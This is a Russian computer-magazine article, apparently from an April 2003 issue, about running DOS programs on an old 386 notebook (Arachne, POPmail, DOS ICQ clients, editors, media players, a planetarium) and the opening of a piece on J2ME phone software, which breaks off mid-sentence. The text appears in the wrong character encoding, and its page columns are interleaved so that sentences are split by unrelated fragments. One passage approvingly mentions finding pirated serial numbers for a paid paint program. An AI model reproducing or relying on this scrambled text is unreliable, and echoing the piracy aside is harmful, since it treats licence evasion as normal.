Ïîñëå ïðîñòåéøåé èíñòàëëÿöèè è ïåðâîãî çàïóñêà ïðîãè<br />

íåîáõîäèìî âûáðàòü óäîáíûé ãðàôè÷åñêèé ðåæèì è íà-<br />

÷àòü ïðîöåäóðó Wizard. Ïðèäåòñÿ ïîñòàâèòü íåêîòîðîå<br />

êîëè÷åñòâî ãàëî÷åê â íóæíûõ ìåñòàõ äëÿ íàñòðîéêè çâîíèëêè,<br />

ïî÷òû è ïðî÷èõ ôóíêöèé ýòîé ïðîãè, íî ÿ äóìàþ,<br />

òû ñ ýòèì ñïðàâèøüñÿ. Äîïîëíèòåëüíûå ìîäóëè óñòàíàâëèâàþòñÿ<br />

èç ñïåöèàëüíîãî èíñòàëëÿòîðà Àðàõíû â ðàçäåëå<br />

óòèëèò ïðîãðàììû. Äëÿ ïîëíîöåííîé ïîääåðæêè ðóññêîãî<br />

ÿçûêà ñêà÷àé äâà ìîäóëÿ - cp1251.apm è koi8.apm<br />

è óñòàíîâè èõ. Ïîñëå ýòîé ïðîöåäóðû ïðîáëåì ñ «âåëèêèì<br />

è ìîãó÷èì» áûòü íå äîëæíî.<br />

ÅÑÒÜËÈ<br />

:)<br />

:)<br />

:)<br />

:)<br />

:)<br />

:)<br />

:)<br />

:)<br />

:)<br />

:)<br />

:)<br />

:)<br />

:)<br />

:)<br />

:)<br />

ÄÎÑÎÌ?..<br />

... ÈËÈ ÊÀÊ "ÏÐÅÂÐÀÒÈÒÜ" 386-É ÍÎÓÒÁÓÊ Â IPAQ :)<br />

È ýòî íå øóòêà, òî÷íåå íå ñîâñåì øóòêà... Êîíå÷íî, ñóïåðêðàñèâûõ êàðòèíîê à-ëÿ XP íèêòî íå îáåùàåò, íî ïîëíîöåííàÿ ñåðüåçíàÿ<br />

ðàáîòà ñ òàêèì äðåâíèì æåëåçîì âïîëíå ðåàëüíà!<br />

"...386-é ïèñþê, 6 ìåòðîâ ìîçãîâ... ìäà... Âèíäà íå âñòàíåò..." – ïîäóìàåøü òû è óñìåõíåøüñÿ. À çðÿ: âåäü åñòü DOS - íà ïåðâûé<br />

âçãëÿä íåâçðà÷íûé è òàèíñòâåííûé äëÿ ïîäàâëÿþùåãî áîëüøèíñòâà ñîâðåìåííûõ þçåðîâ. Ñëûøó âîçãëàñû òèïà "ÄÎÑ - ÀÖÒÎÉ,<br />

ÕÐ - ÊÓË!", íî âñå æå ðåêîìåíäóþ ïðî÷åñòü ýòó ñòàòüþ äî êîíöà è ïîïûòàòüñÿ íà äåëå ïîïðîáîâàòü îæèâèòü "òðåøêó" èëè "÷åòâåðêó",<br />

òåì áîëåå ÷òî 386-ÿ íîòåáÿêà, ê ïðèìåðó, íà Ñàâåëêå, ñòîèò îêîëî äâóõ òûñÿ÷ ðóáëåé, ÷òî, ñîãëàñèñü, ñîâñåì íåäîðîãî.<br />

Ïî ñóòè Arachne ÿâëÿåòñÿ ãðàôè÷åñêîé îáîëî÷êîé äëÿ<br />

ÄÎÑà ñî ñâîåãî ðîäà MDI-èíòåðôåéñîì, òàê êàê ïðÿìî èç<br />

áðàóçåðà ïîñëå ñîåäèíåíèÿ ñ Ñåòüþ ìîæíî çàïóñêàòü äîïîëíèòåëüíûå<br />

ïðîãè - ìîäóëè (êàæäóþ â ñâîåì îêíå) è<br />

ðàáîòàòü ñ íèìè.<br />

Arachne èìååò ñâîåîáðàçíûé, íî ïðèÿòíûé èíòåðôåéñ,<br />

ïðè÷åì ñ ïîääåðæêîé ñêèíîâ. È âîîáùå - âî âðåìÿ çàãðóçêè<br />

ñòðàíèö ìíå ëè÷íî áîëüøå íðàâèòñÿ íàáëþäàòü<br />

ðóíè÷åñêîãî âèäà èêîíêè è òàèíñòâåííî âñïûõèâàþùèå â<br />

íèõ ìîëíèè, íåæåëè ñêó÷íîå âðàùåíèå "øàðèêà" â<br />

Internet Explorer. È ãëàâíîå - íà äâîðå XXI âåê è ÕÐ, à<br />

Arachne ïðîäîëæàåò ñîâåðøåíñòâîâàòüñÿ!<br />

<br />

Åñëè òåáÿ íå óñòðàèâàåò âïîëíå ñåðüåçíûé ãðàôè÷åñêèé<br />

ïî÷òîâèê Àðàõíû, ïðåäëàãàþ àëüòåðíàòèâó. Òåì áîëåå<br />

÷òî ìåéëåðîâ äëÿ ÄÎÑà âåëèêîå ìíîæåñòâî! Òóò è<br />

NetMail, è ñîëèäíûé Pegasus Mail, è ïîðòèðîâàííûå èç<br />

Ëèíóõà Mutt è Pine. Îñòàíîâëþñü íà ñðàâíèòåëüíî ïðîñòîì<br />

ïî÷òîâèêå POPmail.<br />

Ïðîãðàììà áåñïëàòíàÿ (â îòëè÷èå îò Àðàõíû). Òðåáîâàíèÿ<br />

ê êîíôèãóðàöèè êîìïüþòåðà: IBM PC (ñóùåñòâóåò è<br />

âåðñèÿ äëÿ Macintosh), 512 Êá ÎÇÓ (ðåêîìåíäóåòñÿ 640<br />

Êá), 500 Êá äèñêîâîãî ïðîñòðàíñòâà (íî ÷åì áîëüøå, òåì<br />

ëó÷øå), ìîäåì èëè ñåòü, ïàêåòíûé äðàéâåð. Ïðè çàïóñêå<br />

ïåðåä íàìè ïðåäñòàåò ïî÷òîâèê ñ êëàññè÷åñêèì èíòåðôåéñîì<br />

- ïðèåì, îòïðàâêà, óäàëåíèå, îòâåò, ïåðåñûëêà,<br />

îòïðàâêà îäíîãî ñîîáùåíèÿ íåñêîëüêèì ïîëüçîâàòåëÿì.<br />

POPmail ïîääåðæèâàåò òàêæå è ïðèêðåïëåíèå ôàéëîâ ê<br />

ïèñüìàì. Íà ìîé âçãëÿä, ýòî äîñòîéíàÿ ïðîãà, ìàëî â<br />

÷åì óñòóïàþùàÿ ìåéëåðàì äëÿ Windows.<br />

ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

<br />

Ñðàçó õî÷ó îáðàäîâàòü ëþáèòåëåé îíëàéíîâîãî îáùåíèÿ<br />

– ñïåöèàëüíûé ìîäóëü äëÿ Arachne îò êîìïàíèè LADsoft<br />

(http://members.tripod.com/~ladsoft/lsicq) ïîçâîëÿåò ðàáîòàòü<br />

ñ êîíñîëüíîé àñüêîé Lsicq îäíîâðåìåííî ñ ïðîñìîòðîì<br />

âåá-ñòðàíèö. (Ðàçóìååòñÿ, ïðèäåòñÿ ðàáîòàòü<br />

ñ áðîäèëêîé è àñüêîé ïî î÷åðåäè, íî â îäíîé ïðîãðàììå,<br />

à äëÿ ÄÎÑà ýòî óæå ñåðüåçíûé ïëþñ!)<br />

Ñóùåñòâóåò òàêæå ïàêåò dosmicq.exe (http://htmlman.firenze.net/english/download.htm),<br />

êîòîðîé ÿâëÿåòñÿ àâòîíîìíîé<br />

ïðîãðàììîé ñî âñòðîåííîé çâîíèëêîé. Ïîñëå ðàñïàêîâêè<br />

ýòîãî åõå’øíèêà è çàïóñêà ôàéëà newmicq.bat âîçíèêàåò<br />

äèàëîã íàñòðîéêè ïàðàìåòðîâ äîçâîíà - ýòî çâîíèëêà<br />

NetDial. Îòâåòèâ íà âîïðîñû, íóæíî çàïóñòèòü ñâåæåñîçäàííûé<br />

ôàéë micqdial.bat è - âïåðåä! Ôóíêöèè ÄÎ-<br />

Ñîâñêîé àñüêè îãðàíè÷åíû, íî ñâîå ãëàâíîå ïðåäíàçíà-<br />

÷åíèå - âîçìîæíîñòü îáùåíèÿ â ðåàëüíîì âðåìåíè - îíà<br />

âûïîëíÿåò. È íèêàêèõ áàííåðîâ :).<br />

<br />

Òóò ÿ ìîã äàæå íè÷åãî è íå ïðåäñòàâëÿòü, ïîñêîëüêó íåòðóäíî<br />

äîãàäàåòñÿ, ÷òî Lexicon forever! :) Âïðî÷åì, ñóùåñòâóþò<br />

ðåäàêòîðû, êîòîðûå, èìõî, íè÷óòü íå õóæå íàøåãî «ñîîòå÷åñòâåííèêà».<br />

Âîçüìåì, ê ïðèìåðó, Aurora è Breeze. Ñî ñòàíäàðòíûìè<br />

«ðåäàêòîðñêèìè» îáÿçàííîñòÿìè îáå ýòè ïðîãè<br />

ñïðàâëÿþòñÿ ïðåâîñõîäíî, à Aurora âäîáàâîê åùå è íàäåëåíà<br />

äîïîëíèòåëüíûìè ôóíêöèÿìè (ïîäñâåòêà ñèíòàêñèñà,<br />

hex-ðåäàêòîð), êîòîðûå ìîãóò çàèíòåðåñîâàòü ïðîãðàììèñòîâ<br />

è âåá-äèçàéíåðîâ. Íåñëîæíàÿ èíñòàëëÿöèÿ, ìàêñèìàëüíî<br />

óïðîùåííàÿ íàñòðîéêà ïîä ñåáÿ, ïðèâû÷íûé ëþáèòåëÿì<br />

Word'a èíòåðôåéñ... Îïÿòü ñëûøó íåîäîáðèòåëüíîå: "Àöòîé,<br />

ïîä ÄÎÑîì ïèñàòü íåóäîáíî..." Íå ñîãëàøóñü. Ïî ñðàâíåíèþ<br />

ñ Word’îì - äà, ìîæåò è íåóäîáíî. Îäíàêî ëó÷øå òàê,<br />

÷åì òûêàòü «êîâûðÿëî÷êîé» â ýêðàí÷èê iPAQ :).<br />

<br />

Ñêàæó ïî ñåêðåòó, ÿ ïîëòîðà ÷àñà èãðàëñÿ ñ ýòîé ïðîãðàììîé<br />

è óäèâëÿëñÿ, íàñêîëüêî Neopaint (www.neosoftware.com)<br />

ïîä DOS áîãà÷å ïî âîçìîæíîñòÿì òîãî æå<br />

Paint èç 2000 Îêîøåê. Îäíî ñîçäàíèå íå îñîáî ñëîæíûõ<br />

24 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


)<br />

)<br />

)<br />

Íåáîëüøîå ëèðè÷åñêîå îòñòóïëåíèå.  DOS’å îòñóòñòâóåò<br />

ïîääåðæêà ñåòè íà óðîâíå îïåðàöèîííîé ñèñòåìû.<br />

Ýòîò íåäîñòàòîê ïîìîæåò èñïðàâèòü ñïåöèàëüíàÿ ïðîãà -<br />

ïàêåòíûé äðàéâåð, ñâîé äëÿ êàæäîé ñåòåâîé êàðòû è äëÿ<br />

SLIP/PPP-ñîåäèíåíèé. Â Ñåòè èõ ìîæíî íàéòè íà ëþáîì<br />

îáúåìíûõ îáúåêòîâ è âðàùåíèå èõ âîêðóã âûáðàííîé îñè<br />

÷åãî ñòîèò! À êîëëåêöèÿ ãîòîâûõ ê âíåäðåíèþ â ðèñóíîê<br />

îáúåêòîâ?!! Ýõ! Îïå÷àëèëî îäíî - ïðîãðàììà ïëàòíàÿ,<br />

äåíåã ïðîñèò. Íî ÿ êàê-òî çàøåë íà Ðàìáëåð, íàáðàë<br />

Neopaint è â îòâåòå íà çàïðîñ óâèäåë: ñåðèéíèê... ñåðèéíèê...<br />

Íà äóøå ìîìåíòàëüíî ïîëåã÷àëî, è Neopaint ñðàçó<br />

æå ðåçêî ñêàêíóëà ââåðõ â ìîåì ëè÷íîì ÄÎÑîâñêîì<br />

"ñîôò-õèò-ïàðàäå".<br />

<br />

À òåïåðü õî÷ó îáðàòèòü òâîå âíèìàíèå íà Mxplay<br />

(http://mpxplay.tripod.com) - óíèêàëüíûé â ñâîåì ðîäå<br />

ïðîèãðûâàòåëü ïðàêòè÷åñêè ëþáûõ çâóêîâûõ ôàéëîâ. Îí<br />

îáåñïå÷èâàåò ñòàíäàðòíûé íàáîð ôóíêöèé, âêëþ÷àÿ óïðàâëåíèå<br />

ïðè ïîìîùè ìûøè è êëàâèàòóðû (à òàêæå<br />

äæîéñòèêà èëè óñòðîéñòâà, ïîäêëþ÷àåìîãî â ïîñëåäîâàòåëüíûé<br />

ïîðò), ðàáîòó ñ ïëåéëèñòàìè, è èìååò èçþìèíêó<br />

– âñòðîåííûé àíàëèçàòîð ñïåêòðà. Îò ïëååðà ïîä ÄÎÑ ÿ<br />

òàêîãî íå îæèäàë. Îäèí èíäèêàòîð çàãðóçêè ïðîöåññîðà<br />

÷åãî ñòîèò (ÿ óæ íå ãîâîðþ ïðî åãî êðàéíå íèçêèå ïîêàçàíèÿ)!<br />

 èíòåðíåòå îòìå÷àþò îäíó äîâîëüíî èíòåðåñíóþ<br />

îñîáåííîñòü Mpxplay - âîçìîæíîñòü âûâîäà èíôîðìàöèè<br />

î ïðîèãðûâàåìîé äîðîæêå íà ÆÊ-èíäèêàòîð, ïîäêëþ÷åííûé<br />

ê ïàðàëëåëüíîìó ïîðòó, ÷òî ïîçâîëÿåò ðàáîòàòü äàæå<br />

áåç âèäåîàäàïòåðà è ìîíèòîðà. Ñëåäóåò òîëüêî óáåäèòüñÿ,<br />

÷òî ïðîãà ïîääåðæèâàåò òâîþ çâóêîâóõó, è âñå! Ìîæíî<br />

íàñëàæäàòüñÿ ëþáèìîé ìóçûêîé.<br />

<br />

 ýòîé îáëàñòè áåññïîðíûì ëèäåðîì ñ÷èòàåòñÿ Quick<br />

View Pro (www.multimediaware.com), ïîðàæàþùèé ñâîèìè<br />

ñèñòåìíûìè òðåáîâàíèÿìè è êîëè÷åñòâîì ïîääåðæèâàåìûõ<br />

ãðàôè÷åñêèõ è ìóëüòèìåäèéíûõ ôîðìàòîâ è êîäåêîâ.<br />

Ïðîãðàììà çàïóñêàåòñÿ íà êîìïüþòåðå ñ ïðîöåññîðîì<br />

80386, ëþáîé VGA-ñîâìåñòèìîé âèäåîêàðòîé (æåëà-<br />

ftp-ñàéòå.  ñëó÷àå èñïîëüçîâàíèÿ Àðàõíû âñå óæå ñõâà-<br />

÷åíî, îñòàâøåìóñÿ æå ñ ÄÎÑîì îäèí íà îäèí ïðèäåòñÿ<br />

ðåøàòü ýòó ïðîáëåìó ñàìîìó. Íî âñå íå òàê ñòðàøíî :)!<br />

Åñëè ó òåáÿ åñòü ìîäåì (æåëàòåëüíî âíåøíèé, ñ íèì<br />

ìåíüøå ïðîáëåì), òî ñêà÷àé ïàêåò ïðîãðàìì Bobcat<br />

òåëüíî VESA-compatible), îïåðàöèîííîé ñèñòåìîé DOS<br />

3.0 èëè âûøå. Íàëè÷èå SoundBlaster-ñîâìåñòèìîé çâóêîâîé<br />

êàðòû òàêæå ïðèâåòñòâóåòñÿ.<br />

Quick View ÿâëÿåòñÿ ãðàôè÷åñêèì ïðîñìîòðùèêîì, ïðîèãðûâàòåëåì<br />

ðàçíîîáðàçíûõ ìóëüòèìåäèéíûõ ôàéëîâ (â òîì<br />

÷èñëå è mp3), íî ãëàâíîå - îáåñïå÷èâàåò ïðîñìîòð ôèëüìîâ<br />

ôîðìàòà mpeg4 â ÷èñòîì ÄÎÑå íà ñòàðîì æåëåçå! Åñëè<br />

áû ñàì íå ïîïðîáîâàë - íè çà ÷òî áû íå ïîâåðèë! Îäíàêî<br />

ôàêò - ïðîãðàììà óñïåøíî êðóòèò ôèëüìû íà ñàìîé<br />

îáû÷íîé ÷åòâåðêå (õîòÿ äîëæåí ïðèçíàòüñÿ - ïîëíîýêðàííûé<br />

ðåæèì ó ìåíÿ ñìîòðåëñÿ ëó÷øå âñåãî â ÷åðíî-áåëîì<br />

âàðèàíòå - èìååòñÿ â QuickView è òàêàÿ ôèøêà!).<br />

Îáû÷íî ïðîáëåì ñ îïðåäåëåíèåì âèäåî è ïðîöåññîðà<br />

íåò, à âîò ñî çâóêîì ïðèäåòñÿ ïîâîçèòüñÿ, çàäàâàÿ ïàðàìåòðû<br />

çâóêîâóõè âðó÷íóþ. Î òîì, êàê ýòî ñäåëàòü, ìîæíî<br />

óçíàòü èç î÷åíü ïîäðîáíîé äîêóìåíòàöèè. Çàîäíî âñïîìíèøü,<br />

÷òî â ÄOCe êëþ÷åé çàïóñêà ê êîíñîëüíûì ïðîãðàììàì<br />

êóäà áîëüøå, ÷åì âèçóàëüíûõ íàñòðîåê.<br />

Ïðîñòîé è ïîíÿòíûé èíòåðôåéñ â ñòèëå íåçàáâåííîãî<br />

Íîðòîíà ïîçâîëÿåò âûáðàòü íóæíûé ôàéë äëÿ âîñïðîèçâåäåíèÿ.<br />

Ïîääåðæèâàåìûå ðàñøèðåíèÿ îáû÷íî ïîäñâå÷èâàþòñÿ<br />

áåëûì öâåòîì. Ñìåëî äàâèì Enter íà ôèëüìå (êëèïå,<br />

ïåñíå, êàðòèíêå) è óñòðàèâàåìñÿ ó ýêðàíà ïîóäîáíåå.<br />

<br />

À åùå ÿ áû ïîðåêîìåíäîâàë óñòàíîâèòü íà ñâîþ "êðóòóþ"<br />

òðåøêó SkyGlobe - ñàìûé áûñòðûé ïëàíåòàðèé ïîä DOS!<br />

Ýòó ëþáîïûòíóþ ïðîãó ÿ îòêðûë äëÿ ñåáÿ ñîâåðøåííî<br />

ñëó÷àéíî, êîãäà èñêàë àëüòåðíàòèâó âèíäîçíîé StarCalc.<br />

SkyGlobe êðàéíå íåòðåáîâàòåëüíà ê ðåñóðñàì êîìïüþòåðà:<br />

äëÿ íîðìàëüíîé ðàáîòû äîñòàòî÷íî äàæå äâóøêè è<br />

ìîíîõðîìíîãî ìîíèòîðà. Ìíîæåñòâî íàñòðîåê ïîçâîëÿþò<br />

íàèëó÷øèì îáðàçîì ïîêàçàòü íà ýêðàíå çâåçäíîå íåáî.<br />

Ìîæíî çàäàòü ëþáóþ äàòó è âðåìÿ íàáëþäåíèÿ (ò.í. ìàøèíà<br />

âðåìåíè - îäíà èç îáÿçàòåëüíûõ ôóíêöèé ëþáîãî<br />

óâàæàþùåãî ñåáÿ ïëàíåòàðèÿ). Ïðè íàëè÷èè SVGA-ìîíèòîðà<br />

ïðîãðàììó ìîæíî çàïóñòèòü â ðåæèìå 800õ600 ïðè<br />

ïîìîùè êëþ÷à S. Äëÿ EGA-ìîíèòîðîâ - êëþ÷ E, à äëÿ ìîíîõðîìíûõ<br />

- êëþ÷ Ì.<br />

<br />

Õîòÿ êàëüêóëÿòîð óæå ïðèñóòñòâóåò â êà÷åñòâå áîíóñà â<br />

ïðîãðàììå POPmail, òåáå íàâåðíÿêà çàõî÷åòñÿ èìåòü íà<br />

ñâîåì êîìïüþòåðå ïîëíîöåííûé ñ÷åòíûé èíñòðóìåíò.<br />

Î÷åíü ñîâåòóþ Scalc – óäîáíûé ñóïåðêàëüêóëÿòîð, íàïè-<br />

ñàííûé íàøèì ñîîòå÷åñòâåííèêîì. Ðàñïðîñòðàíÿåòñÿ<br />

áåñïëàòíî. Ïðîñòî ðàçàðõèâèðóåøü ñîäåðæèìîå<br />

Scalc.rar, çàïóñêàåøü exe’øíèê è íà÷èíàåøü ñ÷èòàòü. Æåëàòåëüíî<br />

– ÷òî-íèáóäü öåííîå. Íàïðèìåð, äåíåæêè.<br />

<br />

×òî îò÷èòûâàòü? Åñòåñòâåííî, âðåìÿ. Ïîñìîòðè íà<br />

ñêðèíøîò – ïðàâäà, ïðèÿòíûå ÷àñèêè? Îíè âûïîëíÿþò<br />

ðîëü äèíàìè÷åñêèõ îáîåâ èëè ñêðèíñåéâåðà, ðàáîòàþùåãî<br />

â òî âðåìÿ, êîãäà òâîé êîìïüþòåð ïðîñòàèâàåò áåç äåëà.<br />

Æàëü, ÷òî ñòðàíè÷êó èõ àâòîðà ìíå íàéòè íå óäàëîñü.<br />

À ñàì ÿ óæå è íå ïîìíþ, ãäå âçÿë ôàéë Clock.exe, ïîñëå<br />

çàïóñêà êîòîðîãî íà Ðàáî÷åì ñòîëå âîçíèêàåò òàêàÿ âîò<br />

êàðòèíêà. Íî íå ïå÷àëüñÿ, ýòîò ôàéëèê (êàê è äðóãèå ïðîãè,<br />

î êîòîðûõ øëà ðå÷ü â ýòîé ñòàòüå) ìû çàáîòëèâî ïîëîæèëè<br />

íà íàø äèñê.<br />

<br />

<br />

(http://www.fdisk.com/doslynx) è ïðîáëåìà äîçâîíà è ïàêåòíîãî<br />

äðàéâåðà â ñëó÷àå äèàëàïà îòïàäåò ñàìà ñîáîé.<br />

Ïàêåò Bobcat çàìå÷àòåëåí åùå òåì, ÷òî â íåì åñòü ïðàêòè÷åñêè<br />

âñå ñàìîå íåîáõîäèìîå äëÿ íà÷àëà óñïåøíîé<br />

ðàáîòû â Ñåòè - òåêñòîâûé áðàóçåð Lynx è Telnet-êëèåíò.<br />

Âîò ìû è ïîäîøëè ê êîíöó íàøåãî "õèò-ïàðàäà". Óñòàíîâè<br />

íà ñâîé 386-é íîóòáóê îïèñàííûé âàøå ñîôò, äîáàâü ñòàðûé<br />

äîáðûé Íîðòîí, è òâîÿ ìàøèíà çàïðîñòî ïåðåïëþíåò<br />

ïî ñâîèì âîçìîæíîñòÿì âñå òîò æå iPAQ. È ýòî íåñìîòðÿ<br />

íà òî, ÷òî íàø ñïèñîê ïðîãðàìì äàëåêî íå ïîëîí! Äëÿ ÄÎ-<br />

Ñà íàïèñàíî îãðîìíîå êîëè÷åñòâî óòèëèò, èãð, íàó÷íîãî<br />

ñîôòà è äàæå ìíîãîçàäà÷íûõ ãðàôè÷åñêèõ îáîëî÷åê! Òàê<br />

÷òî åñëè âäðóã äëÿ æèçíè ïîä ÄÎÑîì òåáå áóäåò ÷åãî-òî<br />

íå õâàòàòü, òî, ñêîðåå âñåãî, ëèøü ïîòîìó, ÷òî<br />

òû áûë íåäîñòàòî÷íî óñåðäåí â ñâîèõ ïîèñêàõ<br />

ïîäõîäÿùåé ñîôòèíû.<br />

Äî ñèõ ïîð íà áåñêðàéíèõ ïðîñòîðàõ èíåòà ìîæíî<br />

âñòðåòèòü ìíîãî ñàéòîâ, êîòîðûå áóäóò èíòåðåñíû<br />

ïîêëîííèêàì MS-DOS. Íàèáîëåå âûäàþùèåñÿ èç íèõ:<br />

FDISK.COM<br />

www.fdisk.com/doslynx - ñîëèäíûé ðåñóðñ ñ ïðîãðàììàìè<br />

ïîä ÄÎÑ íà ëþáîé âêóñ<br />

OLDGAMES<br />

http://oldgames.mail.zp.ua/default.htm - èãðû... Ïîä<br />

ÄÎÑ èõ âåëèêîå ìíîæåñòâî. Ñàìûå ïîïóëÿðíûå èç<br />

íèõ - íà ýòîì ñàéòå.<br />

ÑÀÉÒ ÎÁ ÎÑ DOS<br />

http://dospage.by.ru/index.shtm - õîðîøèé ðóññêîÿçû÷íûé<br />

ñàéò î ÄOCå, ñäåëàííûé ñ ëþáîâüþ ê ýòîé<br />

îïåðàöèîííîé ñèñòåìå.<br />

DOS-ïðîãðàììû äëÿ ÀÒ/ÕÒ ìàøèí ñ MS-DOS<br />

www.386.by.ru - õîðîøàÿ ïîäáîðêà ÄÎÑîâñêèõ ïðîãðàìì<br />

ÑÀÉÒ ÊÎÌÏÜÞÒÅÐÍÎÉ ÈÑÒÎÐÈÈ<br />

www.fdd5-25.narod.ru - óíèêàëüíàÿ êîëëåêöèÿ ñòàðîãî<br />

ñîôòà!<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit><br />

25


ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

PC_Zone<br />

ÌÎÁÈËÜÍÛÉ ÊÎÔÅ ÌÎÁÈËÜÍÛÉ<br />

Skylord<br />

ÑÀÌ ÑÅÁÅ<br />

(sky_lord@mail.ru)<br />

ÈÌÈÒÀÒÎÐ<br />

<br />

Íå ìíîãèå çíàþò, ÷òî îáû÷íûé ìîáèëüíûé òåëåôîí -<br />

ýòî, ïî ñóòè, íàñòîÿùèé êîìïüþòåð, ñî ñâîèì ïðîöåññîðîì,<br />

ïàìÿòüþ è ôëåø-ìèêðîñõåìîé âìåñòî õàðäà. Òàê<br />

ïî÷åìó áû íå çàñòàâèòü ýòîò êîìï ðàáîòàòü èìåííî òàê,<br />

êàê ýòîãî õî÷åòñÿ íàì, à íå åãî ïðîèçâîäèòåëþ? Ëåò<br />

ïÿòü íàçàä ýòî êàçàëîñü ïî÷òè ôàíòàñòèêîé, íî ñ íåäàâíèõ<br />

ïîð - ýòî âïîëíå ïðèâû÷íàÿ ðåàëüíîñòü, è òû ìíîãîå<br />

òåðÿåøü, åñëè íå èñïîëüçóåøü ñâîé òåëåôîí íà âñå ñòî.<br />

Ìíîãèå ïîñëåäíèå ìîäåëè ìîáèëüíèêîâ ïîääåðæèâàþò<br />

òåõíîëîãèþ J2ME (Java 2 Micro Edition), ïðèõîäÿùóþñÿ<br />

ìëàäøåé ñåñòðîé áîëüøîé ßâå è ïîçâîëÿþùóþ èñïîëíÿòü<br />

íà òåëåôîíå æåëåçî-íåçàâèñèìûé ñîôò, çàêà÷èâàåìûé<br />

þçåðîì. Ïðî òåîðèþ âñåãî ýòîãî äåëà ìîæåøü<br />

ïî÷èòàòü â Ñåòè, ãäå-íèáóäü, íàïðèìåð, íà<br />

www.midlet.ru, à ìû ñ òîáîé ïåðåéäåì ñðàçó ê ïðàêòèêå.<br />

Âî-ïåðâûõ, î êàêèõ èìåííî òåëåôîíàõ ìû áóäåì ãîâîðèòü?<br />

Ñåé÷àñ J2ME ïîääåðæèâàþò äåñÿòêà äâà-òðè àïïàðàòîâ,<br />

íî â êà÷åñòâå îáúåêòà ñâîåãî ïðèñòàëüíîãî âíèìàíèÿ<br />

ÿ âûáðàë òåëåôîíû ôèðìû Ñèìåíñ, ìîäåëè Siemens<br />

M50/MT50 è Siemens C55, êàê ñàìûå íà ñåãîäíÿøíèé<br />

äåíü ðàñïðîñòðàíåííûå è äîñòóïíûå ïî öåíå øèðîêîìó<br />

êðóãó ïîòðåáèòåëåé (óæ ñòî áàêñîâ íà á/ó ìîáèëó ìîæíî<br />

íàêîïèòü!). Ïî÷åìó èìåííî ýòà ôèðìà è ýòè òåëåôîíû,<br />

ñïðîñèøü òû? Äà ïîòîìó, ÷òî ó äðóãèõ ïðîèçâîäèòåëåé,<br />

êàêèìè áû êðóòûìè îíè íè áûëè, ñåé÷àñ íå èìååòñÿ<br />

ñðàâíèìûõ îäíîâðåìåííî ïî öåíå è ïî êà÷åñòâó àíàëîãîâ.<br />

Âåðíåå, åñòü, êîíå÷íî, íî ýòè òåëåôîíû (òèïà Nokia<br />

3510i èëè Motorola C336) ïîêà åùå î÷åíü ìàëî ðàñïðîñòðàíåíû<br />

ó íàñ â ñòðàíå. Áåçóñëîâíî, ñóùåñòâóåò Nokia<br />

3410, íî åå ßâà - ýòî óæàñ. Âñå åå äîñòîèíñòâà ïåðå÷åðêèâàþòñÿ<br />

îäíèì ôàêòîì: ìàêñèìàëüíûé ðàçìåð çàãðóæàåìîãî<br />

ïðèëîæåíèÿ – 30 êá. Íà ÷òî-òî ñåðüåçíåå èãðû â<br />

ïÿòíàøêè ýòîãî, êîíå÷íî, íå õâàòèò.<br />

Òàê ÷òî îïðåäåëèëèñü - áåðåì Ì50 è Ñ55 (à ýòè òåëåôîíû<br />

ñåé÷àñ äåéñòâèòåëüíî î÷åíü ïîïóëÿðíû!) è ñìîòðèì,<br />

÷òî â íèõ åñòü.<br />

ÊÎÔÅ<br />

Äóìàåøü, òâîé òåëåôîí ñëóæèò<br />

ëèøü äëÿ òîãî, ÷òîáû ïðîæèãàòü ñ<br />

åãî ïîìîùüþ äåíüãè? Òåáå íàäîåëî<br />

óïðàæíÿòüñÿ âî âñòðîåííûõ òðåõ-÷åòûðåõ<br />

èãðàõ? Íå õâàòàåò e-mail-êëèåíòà<br />

èëè ICQ íà òåëåôîíå? Äóìàåøü, ýòî íåâîçìîæíî?<br />

À âîò è íåò! Ñåé÷àñ ÿ ðàññêàæó<br />

òåáå î òîì, êàê ñâîé íåäîðîãîé ìîáèëüíèê<br />

òû ëåãêèì äâèæåíèåì ðóêè ñìîæåøü ïðåâðàòèòü<br />

â òåëåôîí áèçíåñ-êëàññà èëè èãðîâîé<br />

äåâàéñ, íå õóæå Ãåéìáîÿ.<br />

ÏÐÅÂÀÐÀÙÀÅÌ ÑÎÒÎÂÛÉ Â ÊÏÊ<br />

Îäíàêî, åñëè ó òåáÿ äðóãîé òåëåôîí, íå ñïåøè áðîñàòü<br />

÷òåíèå: ÿçûê J2ME - ýòî åäèíûé ñòàíäàðò äëÿ âñåõ ïðîèçâîäèòåëåé,<br />

è ìíîãèå ïðîãðàììû è èãðû, íàïèñàííûå äëÿ<br />

îäíîãî ìîáèëüíèêà, áåç ïðîáëåì ïîéäóò íà äðóãîì, ïóñòü<br />

è ñ íåêîòîðûìè îãðàíè÷åíèÿìè. Âñå çàâèñèò îò õàðàêòåðèñòèê<br />

îáîðóäîâàíèÿ - íàïðèìåð, ðàçðåøåíèå ýêðàíà<br />

Siemens SL45 âûøå, ÷åì ó M50/C55, è áîëüøèíñòâî ïðîãðàìì<br />

íà íåì áóäóò âûãëÿäåòü îáðåçàííûìè ñíèçó. Íó è,<br />

ðàçóìååòñÿ, öâåòíàÿ èãðóøêà îò Nokia 7210 íå ñìîæåò äîáàâèòü<br />

êðàñîê ÷åðíî-áåëîìó ýêðàíó òâîåãî ìîáèëüíèêà.<br />

<br />

Ïðèëîæåíèå íà ßâå äëÿ òåëåôîíà íàçûâàåòñÿ ìèäëåòîì<br />

- îò ñëîâ MIDP (ïðîôèëü J2ME äëÿ ðàáîòû ñ ìîáèëüíèêàìè)<br />

è applet. ×èñòî ôèçè÷åñêè îí ñîñòîèò èç<br />

äâóõ ôàéëîâ: jad - îïèñàíèå ìèäëåòà, íåîáõîäèìîå,<br />

÷òîáû ñêà÷èâàòü åãî òåëåôîíîì èç Ñåòè ïî ïðîòîêîëó<br />

WAP , è jar - ñàì ìèäëåò. Õðàíÿòñÿ îíè íà âíóòðåííåì<br />

äèñêå òåëåôîíà - ôëåêñ-äðàéâå (<strong>fl</strong>ex-drive) â êàòàëîãå<br />

"java\jam" è èìåííî îòòóäà çàïóñêàþòñÿ, êîãäà òû ëåçåøü<br />

â ìåíþ "Èíòåðíåò/èãðû" - "Èãðû è äð.". Êàê äîáèðàòüñÿ<br />

íåïîñðåäñòâåííî äî ôëåêñà, ÿ ðàññêàæó òåáå<br />

